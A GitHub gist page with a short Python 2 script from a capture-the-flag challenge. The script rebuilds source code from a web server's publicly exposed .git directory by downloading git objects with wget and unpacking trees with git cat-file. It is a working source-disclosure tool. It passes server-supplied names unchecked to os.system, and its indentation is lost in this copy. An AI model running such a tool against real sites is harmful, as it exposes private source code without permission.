Skip to content

Instantly share code, notes, and snippets.

@bkth
Last active October 3, 2017 21:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bkth/2466b896c5e08f301a9dbcb7527ca531 to your computer and use it in GitHub Desktop.
Save bkth/2466b896c5e08f301a9dbcb7527ca531 to your computer and use it in GitHub Desktop.
securimag's new year challenge, oversight from the author the git repo was publicly exposed so dirty script to rebuild the trees and get the sources
import os
import subprocess
def run_cmd(s):
return subprocess.check_output(s.split())
def get_hash(s):
return s.split()[2]
def get_type(s):
return s.split()[1]
def get_name(s):
return s.split()[3]
def get_all(s):
return (get_type(s), get_name(s), get_hash(s))
def dl_obj(s):
os.system("wget https://securimag2017.alpacas.cloud/gitrepo/objects/%s/%s" % (s[:2], s[2:]))
os.system("mkdir %s" % s[:2])
os.system("mv %s %s/" % (s[2:], s[:2]))
def treat_tree(top, path):
dl_obj(top)
top = run_cmd("git cat-file -p %s" % top)
for s in top.split("\n"):
if s:
typ, name, hsh = get_all(s)
print "type %s name %s hash %s" % (typ, name, hsh)
if typ == "blob":
dl_obj(hsh)
with open(path + name, "w+") as f:
f.write(run_cmd("git cat-file -p %s" % hsh))
elif typ == "tree":
os.mkdir(path + name)
treat_tree(hsh, path + name + "/")
treat_tree("48f278388060c24cdb646eabedb38315aaac2b3e", "src/")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment